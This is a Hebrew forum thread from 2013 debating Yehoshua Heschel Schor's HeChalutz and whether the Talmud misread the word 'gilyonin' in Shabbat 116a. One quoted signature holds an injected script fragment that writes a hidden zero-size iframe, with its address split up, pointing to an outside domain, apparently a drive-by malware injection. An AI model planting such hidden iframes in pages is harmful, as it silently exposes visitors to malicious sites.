| נשלח ב-30/6/2013 02:40 |
 |
| |
החלוץ
לפני כמה שנים הזדמן לי לעלעל בגליונות 'החלוץ' של יהושע העשיל שור (עיין ערכו בויקיפדיה). הצצתי ונפגעתי, הדברים שם היו קשים כגידין, מלאים לעג בוטה נגד חכמי הגמרא. אבל הטענות היו נראות חזקות. לא היה לי זמן רב לעיין. ושוב לא יצא לי לפגוש את החוברות האלו, אבל תמיד רציתי לבדוק באופן יסודי מה הסיפור הזה. האם באמת קושיותיו קושיות? והנה לאחרונה גיליתי שגליונות החלוץ הועלו לאתר הספריה הלאומית (ראו כאן, או חפשו בקטלוג את 'החלוץ', יש שם קישור). כעת אפשר לבדוק בנחת וישוב הדעת את טענותיו אחת לאחת.
אבל לפני כן, מהערך בויקי למדתי שנכתבה ספרות תגובה, וחיפוש שטחי ברשת הביא אותי לספר שנקרא " ביעור טיט היון - שבו הטיח יהושע העשיל שור (הוא בעל החלוץ) פני ארבע מאות וחמשים מאמרי חז"ל, וביאורן ברוח היהודית". מישהו יודע משהו אודות ספר זה, או ספרים אחרים שנתחברו כתגובה?
|
|
|
|
| נשלח ב-30/6/2013 06:16 |
|
| |
מסקנה
אל תציץ
לא מזמן יצא ספר שמעתי שהוא לא רע.
|
|
|
|
| נשלח ב-30/6/2013 06:37 |
|
| |
ירוק
לא ציינת לינק לספריה הלאומית. אישית, גם לא אלך לחפש שם אלא אם כן לוחצים על לינק אחד וזהו.
אני דווקא אשמח לראות סיכום של הטענות ורצוי עם לינק לקריאתן המלאה. תמיד טוב לקבל תמונה ולא לפחד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-30/6/2013 08:39 |
|
| |
הצצתי ונפגעתי
ירוק, אתה דומה לילד קטן, שצריך חיזוקים כל הזמן, חלילה להגיד לו טעית, חלילה שיפסיד במשחק. ילד הבטוח כי האבא שלו הוא הכי חזק והכי חכם... תתבגר !
במקום חיזוקים המעידים על חולשה, תתמודד עם ביקורת, עם כשלונות, עם המציאות. מוטב אמת חלקית על פני שקר. אתה יכול לקבל את עצתו של בעלבעמיו: מסקנה – אל תציץ. תשאר תינוק בחיתולים, תחכה שיחליפו ויגידו איזה יופי! כתבת: היו דברים קשים אבל הטענות נראו חזקות.
לך בדוק!
בשביל זה יש לך ראש, ואלהים נתן לך כושר מחשבה. אז תשתמש בו. דרך אגב, אל תחפש ברשת, קרא את הספר. עודד
|
|
|
|
| נשלח ב-30/6/2013 08:43 |
|
| |
עודד
אולי תקטין את הפונט, במונחי הרשת, פונט גדול משמעותו צעקה.
|
|
|
|
| נשלח ב-30/6/2013 09:31 |
|
| |
ספרן,תודה
מיימוני, ניסיתי לעשות לינק, משהו פה לא עובד. הלינק הראשון הצליח, וזה לא. אנסה שוב
בכל אופן הסיפור מאוד פשוט, אתה נכנס לקטלוג הספריה, כותב 'חלוץ' (בשום אופן לא לכתוב ה"א הידיעה!), וזו התוצאה הראשונה שתקבל, 'החלוץ' (לפניו יש 'ספר החלוץ' אבל זה לא זה), שם יש לך קישור.
תוקן על ידי ירוק11 ב- 30/06/2013 09:35:33
|
|
|
|
| נשלח ב-30/6/2013 10:15 |
|
| |
שוין, הקישור לדף הספציפי לא עובד, זה דף מוזר. אבל על כל פנים אפשר להגיע דרך הקטלוג כמו שציינתי. אתחיל להביא דוגמאות ממה שהספקתי לקרוא בלי גידופיו של שור. בחוברת א' (עמ' 50 ואילך) הוא מוכיח ארוכות שהמשנה שנויה בלי סדר, עם כפילויות וסתירות, וכו'. אין בדברים חדש והוא בעצמו לא טוען זאת. ברור שהמשנה היא עריכה בסיסית למדי של קבצי הלכות שנשנו בעל פה, ולא נעשה שם נסיון לייצר חיבור קוהרנטי ותמציתי כמו משנה תורה לרמב"ם. אבל הנה סוף סוף טענה ספציפית. בעמוד 57 הוא מביא איבעיא שנשאלה במסכת שבת (קטז א). "איבעיא להו: הגליונין של ספר תורה מצילין אותן מפני הדליקה, או אין מצילין אותן מפני הדליקה?". גליונין פירושו שולי העמוד, מקום חלק שאין כתובות עליו מילים.
בהמשך הסוגיא מובאת ברייתא בנסיון לפשוט ממנה את האיבעיא: "תא שמע: הגיליונין וספרי מינין אין מצילין אותן מפני הדליקה, אלא נשרפין במקומן הן ואזכרותיהן. מאי לאו - גליונין דספר תורה? - לא, גליונין דספרי מינין. - השתא ספרי מינין גופייהו אין מצילין, גליונין מבעיא? - הכי קאמר: וספרי מינין הרי הן כגליונים".
הגמרא דוחה ש'גליונין' שבברייתא הוא גליונותיהם של ספרי מינים, ותמהה בצדק: "השתא ספרי מינין גופייהו אין מצילין, גליונין מבעיא?", לפיכך היא דוחקת ומפרשת את הברייתא "וספרי מינין הרי הן כגליונים".
שור טוען שהגמרא לא הבינה את המילה 'גליונין' שבברייתא, אין הכוונה למקום חלק אלא לאוונגליון הנוצרי שהיה נקרא אצל היהודים דרך לעג "עוון גליון" (שבת שם), ובקיצור "גליון", אולי מפחד המינים או כל סיבה שתהיה. לפי הבנה זו הברייתא נראית פשוטה מאוד: הגליונים וספרי מינים (שור טוען שאולי הוי"ו היא וי"ו הביאור: הגליונים שהם ספרי מינים, אבל זה לא חשוב) אין מצילים אותם מפני הדליקה. וכמובן שאין לזה שום קשר לאיבעיא לגבי המקומות החלקים שבספר תורה. הפלא הוא שהגמרא עצמה מביאה בהמשך את ענין "עוון גליון": "רבי מאיר הוה קרי ליה אוון גליון, רבי יוחנן הוה קרי ליה עוון גליון" (השורה הזאת הושמטה בדפוסים מחמת הצנזורה). ולכאורה אין צידוק להבאת המימרא הזאת, אם לא עסקו קודם ב'גליונים' שהם האוונגליון הנוצרי. אבל לפי הבנת הגמרא במילת 'הגליונים', הרי עדיין לא עסקו בכך בכלל. וקשה לקבל שבגלל 'ספרי מינים' הובאה השורה הזאת.
 |
|
|
|
|
| נשלח ב-30/6/2013 10:23 |
|
| |
את הראיה דלהלן שור אינו מביא, אבל בתוספתא למסכת ידים (צוקרמאנדל פרק ב הלכה יג) נאמר "הגליונים וספרי המינין אינן מטמאות את הידים ספרי בן סירא וכל ספרים שנכתבו מכאן ואילך אינן מטמאין את הידים".
עצם ההלכה הזאת כבר משמע כמו פירושו של שור. שהרי ההלכה עוסקת בספרים שאין להם קדושה. מדוע לדחוף את 'גליונות' כאן אם הכוונה למקומות החלקים שבספר תורה? אבל בלאו הכי אי אפשר לפרש כאן כפירוש הגמרא "ספרי מינים הרי הם כגליונים", שהרי לפני כן (הלכה יא) כתוב במפורש "ר' יהודה אומר הגליון שבתחלת הספר וכדי הקיף כולן מטמאין את הידים".
אין סיפק בידי עתה לבדוק אם המפרשים על אתר כבר מתייחסים לקושיות אלו, אשתדל לעשות זאת בהמשך.
תוקן על ידי ירוק11 ב- 30/06/2013 10:25:43
|
|
|
|
| נשלח ב-30/6/2013 16:56 |
|
| |
ירוק
טול איקון ירוק.
לפי מה שכתבת, "מלמעלה", פירושו אפשרי.
אז מה יוצא מזה? שאמוראים מאוחרים לא הבינו את הברייתא?
יש לחשוב היטב על מסקנה זו. למה שהיא תהיה לא נכונה?
מפתיעה, כן. אבל האם זו אפיקורסות? האם לא יתכן שמילה מסויימת תישכח והאמוראים האחרונים יתקשו בה? יש לנו עדויות על אירועים כאלו.
נכון שאנו מורגלים להם כאשר התלמוד עצמו מציין שחכמים ידעו שהם לא יודעים, וכאן הם אינם יודעים שהם אינם יודעים. וכמובן זה קשה לסבול אם מניחים שחכמים היו מושלמים ומעולם לא טעו.
מה שכתוב כאן יכול אפילו להיות שיעור חשוב בתלמוד וביראת שמים. כיצד להבין שחכמים לא ידעו הכל, אם כי לגבי דוגמא זו יש לדון, ובכל זאת הם חכמים.
כמובן, מי שישתמש בדוגמא זו כדי לנגח, כדי להוריד בערכם של חכמים ושל חכמת התלמוד, זה כבר משהו אחר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/6/2013 17:09 |
|
| |
| 932woland כתב: |  | ירוק, אתה דומה לילד קטן, שצריך חיזוקים כל הזמן, חלילה להגיד לו טעית, חלילה שיפסיד במשחק. ילד הבטוח כי האבא שלו הוא הכי חזק והכי חכם... תתבגר !
במקום חיזוקים המעידים על חולשה, תתמודד עם ביקורת, עם כשלונות, עם המציאות. מוטב אמת חלקית על פני שקר. אתה יכול לקבל את עצתו של בעלבעמיו: מסקנה – אל תציץ. תשאר תינוק בחיתולים, תחכה שיחליפו ויגידו איזה יופי! כתבת: היו דברים קשים אבל הטענות נראו חזקות.
לך בדוק!
בשביל זה יש לך ראש, ואלהים נתן לך כושר מחשבה. אז תשתמש בו. דרך אגב, אל תחפש ברשת, קרא את הספר. עודד |
|
יצאת פיסטוק...
ירוק11 הוא אחד האנשים הבודדים כאן (וב'בודדים' אני מתכוון למספר שאצבעות כף יד אחת הן דיי והותר בשבילו) שמסוגל להכריע בין דעות על סמך עובדות ושיקולים רציונליים ולא על סמך דעה מוקדמת הנתמכת בחגורות שומן ו explaining away. לגבי השימוש בביטוי 'הצצתי ונפגעתי' - קצת חוש הומור לא היה מזיק לך. יש על זה עכשיו מבצע ברמי לוי, כדאי לבדוק.
|
|
|
|
| נשלח ב-30/6/2013 17:13 |
|
| |
| מיימוני כתב: | | ירוק
טול איקון ירוק.
לפי מה שכתבת, "מלמעלה", פירושו אפשרי.
אז מה יוצא מזה? שאמוראים מאוחרים לא הבינו את הברייתא?
יש לחשוב היטב על מסקנה זו. למה שהיא תהיה לא נכונה?
מפתיעה, כן. אבל האם זו אפיקורסות? האם לא יתכן שמילה מסויימת תישכח והאמוראים האחרונים יתקשו בה? יש לנו עדויות על אירועים כאלו.
נכון שאנו מורגלים להם כאשר התלמוד עצמו מציין שחכמים ידעו שהם לא יודעים, וכאן הם אינם יודעים שהם אינם יודעים. וכמובן זה קשה לסבול אם מניחים שחכמים היו מושלמים ומעולם לא טעו.
מה שכתוב כאן יכול אפילו להיות שיעור חשוב בתלמוד וביראת שמים. כיצד להבין שחכמים לא ידעו הכל, אם כי לגבי דוגמא זו יש לדון, ובכל זאת הם חכמים.
כמובן, מי שישתמש בדוגמא זו כדי לנגח, כדי להוריד בערכם של חכמים ושל חכמת התלמוד, זה כבר משהו אחר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
זו דוגמה לכך שלמשחקי 'חיסורי מחסרא והכי קתני' 'הכי קאמר' אין שום בסיס, והם מצוצים מהאצבע האמצעית. אנשים כדינוזאורוס מנסים לשכנע אותך שהיה לאמוראים קו תקשורת טוב יותר עם כותבי המשנה והברייתות והם ידעו את הלך מחשבתם וסגנון כתיבתם של האחרונים / היו להם מסורות בנושא וכו', זו דוגמה לכך שמדובר פשוט בהמצאה. ואם זו המצאה, תערו של אוקאם מגלח למשעי את הטענה שבמקומות אחרים היו שיקולים מבוססים יותר. קאפיש?
|
|
|
|
| נשלח ב-30/6/2013 17:47 |
|
| |
אומר בדרך אפשר, שהאונגליונים היו כתובים על גליון ספר תורה או על גליון ספרי מינים, ומשום כך נקראו גליונים, משום שהיו כתובים על הגליון. והגמ' שואלת, אם הם כתובים על גליון ספרי מינים, ודאי שאין מצילים אותם, אלא מאי הם כתובים על גליון ספר תורה.
|
|
|
|
| נשלח ב-30/6/2013 18:56 |
|
| |
מתוך: "תולדות הספרות העברית החדשה" לאהרן בן-אור
"ראש הלוחמים לתיקונים דתיים בגליציה היה החוקר החכם יהושע השיל שור (יה"ש). נולד בברודי ב-1814 ומת בה ב-1895, בצעירותו התרעה עם הד"ר יצחק ארטר וזכה גם לשוחח עם רנ"ק. הוא היה תלמודי חריף, "עוקר הרים", בעל מזג סוער של לוחם קיצוני, ואת כשרונותיו הקדיש למלחמה לריפורמה דתית בישראל. אחרי המהפכה של שנת 1848 יסד וערד את המאסף השנתי, המדעי-פובליציסטי "החלוץ", שנועד להיות "החלוץ העובר לפני עם ישראל למלחמת הדת והתושיה". במאמרו הראשון "משא רבנים" דיבר רתת על "הכמרים המושלים", המתנגדים לכל תיקון בדת לשם החיים. כדי לבטל את האוטוריטה של התלמוד הוכיח יה"ש, כי ר' יהודה הנשיא, עורך המשנה, לא חקר ולא דרש כראוי את דברי הסופרים, אנשי כנסת-הגדולה והתנאים הראשונים שהובאו לפניו בצורת "מגילות-סתרים", "וכל הבלבול ואי-הסדר שבמשניות אשר ישתומם עליהם כל מבין באו לו לרבי מאשר אסף וקיבץ כל הבא בידו בלי עיון וחקירה הנאותה". והאמוראים, מפרשי-המשנה, לא הבינו כראוי את דברי התנאים: "האמוראים דור אחר דור החטיאו כוונת הראשונים ויתעו מן הדרך הסלולה". שאיפתו העיקרית היתה להחדיר את ההכרה אל מוחות היהודים ש"מייסדי התלמוד היו אנשים כערכנו, וכשם שהיתה הרשות בידם לשנות ולבטל ולתקן תקנות נאותות למקומם ושעתם, כך הרשות נתונה לחכמי כל דור ודור לשנות ולבטל ולתקן תקנות נאותות למקומם ושעתם". יה"ש היה בעל עט שנון ובעל כשרונות בלתי-מצויים, והוא השתמש בכל מיני נשק במלחמתו לריפורמה: הוא כתב מאמרים מדעיים ופובליציסטיים, מכתמים והלצות, סטירות בצורת חלומות ובנוסח ארטר ("אחורי הפרגוד"), דברי-בקורת על ספרים בחכמת-ישראל, רשימות בבקורת המקרא וכדומה. במאמריו גלומים אוצרות של ענינים מדעיים, אשר האמת והטעות משמשות בהם בערבוביה, כי יה"ש היה חריף בניתוחיו, מהיר בהשערותיו, קיצוני ומגמתי, וההגיון היה תמיד אצלו כפות לרצונו... ורצון זה היה אחד: להוכיח שהתלמוד והדינים שבו - ואפילו חלק מכתבי-הקודש - אינם קדושים ולא ניתנו מפי הגבורה, ואין לנו אלא "צרכי העת הזאת והדור הזה והארץ הזאת"... אפיקורסות קיצונית זו עוררה כמובן התנגדות רבה, אבל השפעתה היתה גדולה על יל"ג ומל"ל, שהטיפו לתיקונים דתיים ברוסיה".
|
|
|
|
|
| נשלח ב-30/6/2013 19:35 |
|
| |
| רציוסקפטי כתב: | | ירוק, אתה דומה לילד קטן, שצריך חיזוקים כל הזמן, חלילה להגיד לו טעית, חלילה שיפסיד במשחק. ילד הבטוח כי האבא שלו הוא הכי חזק והכי חכם... תתבגר !
במקום חיזוקים המעידים על חולשה, תתמודד עם ביקורת, עם כשלונות, עם המציאות. מוטב אמת חלקית על פני שקר. אתה יכול לקבל את עצתו של בעלבעמיו: מסקנה – אל תציץ. תשאר תינוק בחיתולים, תחכה שיחליפו ויגידו איזה יופי! כתבת: היו דברים קשים אבל הטענות נראו חזקות.
לך בדוק!
בשביל זה יש לך ראש, ואלהים נתן לך כושר מחשבה. אז תשתמש בו. דרך אגב, אל תחפש ברשת, קרא את הספר. עודד
יצאת פיסטוק...
ירוק11 הוא אחד האנשים הבודדים כאן (וב'בודדים' אני מתכוון למספר שאצבעות כף יד אחת הן דיי והותר בשבילו) שמסוגל להכריע בין דעות על סמך עובדות ושיקולים רציונליים ולא על סמך דעה מוקדמת הנתמכת בחגורות שומן ו explaining away. לגבי השימוש בביטוי 'הצצתי ונפגעתי' - קצת חוש הומור לא היה מזיק לך. יש על זה עכשיו מבצע ברמי לוי, כדאי לבדוק. |
|
אם ללמד זכות על עודד זה שכנראה הוא לא מכיר את הביטוי, ובהתחשב ב'חוק פו', ובניקים מגוחכים מסויימים כאן בפורום כבר אי אפשר לדעת מה בדיחה או רצינות. רצוי אמנם לקרוא כמה תגובות קודמות של ניק לפני שמגיבים לו..
מה שכן, woland נשמע לעיתים כמטיף, אך שוב: עם רמות כ''כ גבוהות של גיחוך לעיתים, זה יכול להיות מובן ..
|
|
|
|
| נשלח ב-30/6/2013 19:36 |
|
| |
הרב שאול ליברמן פירש באותו אופן את התוספתא שבמסכת ידים (בספרו תוספות ראשונים). פירוש רש"י בדפוסים ישנים - פי' ר"מ קרוה ליה לספרי המינין און גליון לפי שהן קורין אותו אוונגילא.
אולם לומר שהמשנה שנויה בלי סדר, אלה דברי הבל. לכפילויות שבמשנה יש סיבות. ומאחר שכל החכמים בדורו של רבי הסכימו מה ההלכה, אם נראה שיש במשנה סתירות, הרי שהן נובעות מחוסר הבנתה.
|
|
|
|
|
